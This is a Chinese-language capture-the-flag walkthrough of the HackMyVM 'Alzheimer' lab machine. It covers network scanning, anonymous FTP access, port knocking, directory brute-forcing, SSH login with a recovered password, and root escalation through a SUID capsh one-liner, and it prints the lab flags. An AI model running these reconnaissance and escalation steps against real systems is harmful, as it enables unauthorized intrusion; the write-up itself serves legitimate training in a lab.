HackMyVM-Alzheimer

本文主要是介绍HackMyVM-Alzheimer，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

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目录

信息收集

arp

nmap

FTP服务信息收集

匿名登陆

关键信息

knock

WEB信息收集

信息收集

gobuster

目录爆破

ssh登录

提权

系统信息收集

提权

get root

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信息收集

arp

┌──(root㉿0x00)-[~/HackMyVM]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:77:ed:84, IPv4: 192.168.9.126
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)192.168.9.140   08:00:27:b5:74:cd       PCS Systemtechnik GmbH6 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.941 seconds (131.89 hosts/sec). 6 responded

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nmap

端口信息扫描┌──(root㉿0x00)-[~/HackMyVM]
└─# nmap -p- 192.168.9.140 --min-rate 10000                
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-24 08:24 CST
Nmap scan report for 192.168.9.140
Host is up (0.22s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE    SERVICE
21/tcp open     ftp
22/tcp filtered ssh
80/tcp filtered http
MAC Address: 08:00:27:B5:74:CD (Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 8.49 seconds

一共扫描出来三个端口，22、80没有开放，我们目前只能利用21端口！

┌──(root㉿0x00)-[~/HackMyVM]
└─# nmap -sC -sV -O -p 21,22,80 192.168.9.140 --min-rate 10000
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-24 08:26 CST
Nmap scan report for 192.168.9.140
Host is up (0.00084s latency).PORT   STATE    SERVICE VERSION
21/tcp open     ftp     vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.9.126
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp filtered ssh
80/tcp filtered http
MAC Address: 08:00:27:B5:74:CD (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: UnixOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.99 seconds

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FTP服务信息收集

匿名登陆

┌──(root㉿0x00)-[~/HackMyVM]
└─# ftp 192.168.9.140                           
Connected to 192.168.9.140.
220 (vsFTPd 3.0.3)
Name (192.168.9.140:root): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> binary
200 Switching to Binary mode.
ftp> ls -al
229 Entering Extended Passive Mode (|||60284|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        113          4096 Oct 03  2020 .
drwxr-xr-x    2 0        113          4096 Oct 03  2020 ..
-rw-r--r--    1 0        0              70 Oct 03  2020 .secretnote.txt
226 Directory send OK.

ftp服务是可以匿名登陆的！而且有个关键信息！我们get到本地！

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关键信息

┌──(root㉿0x00)-[~/HackMyVM]
└─# ls -al
total 12
drwxr-xr-x  2 root root 4096 Apr 24 08:28 .
drwx------ 23 root root 4096 Apr 24 08:28 ..
-rw-r--r--  1 root root   70 Oct  3  2020 .secretnote.txt┌──(root㉿0x00)-[~/HackMyVM]
└─# cat .secretnote.txt 
I need to knock this ports and 
one door will be open!
1000
2000
3000

果然，我们需要使用knock工具来进行敲门服务来唤醒22和80端口！

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knock

┌──(root㉿0x00)-[~/HackMyVM]
└─# knock 192.168.9.140 1000 2000 3000

扫描端口是否开放┌──(root㉿0x00)-[~/HackMyVM]
└─# nmap -p- 192.168.9.140 --min-rate 10000                
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-24 08:35 CST
Nmap scan report for 192.168.9.140
Host is up (0.52s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE    SERVICE
21/tcp open     ftp
22/tcp filtered ssh
80/tcp open     http
MAC Address: 08:00:27:B5:74:CD (Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 10.56 seconds

我只看到了80端口被激活了！

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WEB信息收集

信息收集

有很多信息1、可能存在目录  xxx.txt
2、用户名  medusa
3、编码字符串 ---. --- - .... .. -. --. --

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不出意外，应该是othingm可能是密码，也可能是目录！

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gobuster

┌──(root㉿0x00)-[~/HackMyVM]
└─# gobuster dir -u http://192.168.9.140/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.9.140/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/home                 (Status: 301) [Size: 185] [--> http://192.168.9.140/home/]
/admin                (Status: 301) [Size: 185] [--> http://192.168.9.140/admin/]
/secret               (Status: 301) [Size: 185] [--> http://192.168.9.140/secret/]
Progress: 220561 / 220562 (100.00%)
===============================================================
Finished
===============================================================

根据提示，我们只能对这两个目录进行检索了！

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目录爆破

┌──(root㉿0x00)-[~/HackMyVM]
└─# dirsearch -u http://192.168.9.140/secret/_|. _ _  _  _  _ _|_    v0.4.3(_||| _) (/_(_|| (_| )Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460Output File: /root/HackMyVM/reports/http_192.168.9.140/_secret__24-04-24_11-14-15.txtTarget: http://192.168.9.140/[11:14:15] Starting: secret/
[11:14:29] 301 -  185B  - /secret/home  ->  http://192.168.9.140/secret/home/Task Completed

没有什么可用信息！经过提示，我想到了ftp，我们把那个隐藏文件重新下载！

果然，增加了新东西Ihavebeenalwayshere!!!

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ssh登录

登录成功！密码就是 Ihavebeenalwayshere!!!

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提权

系统信息收集

medusa@alzheimer:~$ ls -al
total 32
drwxr-xr-x 3 medusa medusa 4096 Oct  3  2020 .
drwxr-xr-x 3 root   root   4096 Oct  2  2020 ..
-rw-r--r-- 1 medusa medusa  220 Oct  2  2020 .bash_logout
-rw-r--r-- 1 medusa medusa 3526 Oct  2  2020 .bashrc
drwxr-xr-x 3 medusa medusa 4096 Oct  3  2020 .local
-rw-r--r-- 1 medusa medusa  807 Oct  2  2020 .profile
-rw-r--r-- 1 medusa medusa   19 Oct  3  2020 user.txt
-rw------- 1 medusa medusa  107 Oct  3  2020 .Xauthority
medusa@alzheimer:~$ cat user.txt 
HMVrespectmemories

medusa@alzheimer:~$ sudo -l
Matching Defaults entries for medusa on alzheimer:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser medusa may run the following commands on alzheimer:(ALL) NOPASSWD: /bin/id

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medusa@alzheimer:/tmp$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/sbin/capsh

提权

/usr/sbin/capsh具有suid权限，可进行提权操作！

medusa@alzheimer:~$ whereis capsh 
capsh: /usr/sbin/capsh /usr/share/man/man1/capsh.1.gz

payloadmedusa@alzheimer:~$ /usr/sbin/capsh --gid=0 --uid=0 --
root@alzheimer:~# 

一定要先确定capsh的工作目录！

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get root

root@alzheimer:~# cd /root
root@alzheimer:/root# ls
root.txt
root@alzheimer:/root# cat root.txt
HMVlovememories

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